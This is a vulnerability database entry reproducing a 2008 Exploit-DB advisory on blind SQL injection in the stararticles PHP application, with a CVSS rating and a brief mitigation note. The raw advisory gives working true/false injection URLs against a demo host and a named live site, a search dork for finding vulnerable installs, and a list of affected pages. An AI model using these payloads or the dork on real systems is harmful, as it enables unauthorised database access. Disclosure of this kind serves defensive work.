stararticles blind sql injection Vulnerability

vendor:

stararticles

by:

b3hz4d

7.5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: stararticles

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: a:stararticles:stararticles

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

stararticles blind sql injection Vulnerability

Many of the pages of the stararticles application are vulnerable to blind SQL injection. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable page. For example, a request like http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=5 can be used to check if the application is vulnerable to blind SQL injection.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            stararticles blind sql injection Vulnerability          +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

		
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 26 nov 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"

#####################################################


[+] vuln    : blind sql injection
              
              many of pages are vulnerable to blind sql injection:
              
              ./article.list.php

              ./article.print.php
              
              ./article.comments.php

              ./article.publisher.php
              
                    .
                    .
                    .

[+] Exploit : 
              true:
               
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=5
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=5
             
              false:
              
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=4
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=4


##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-11-26]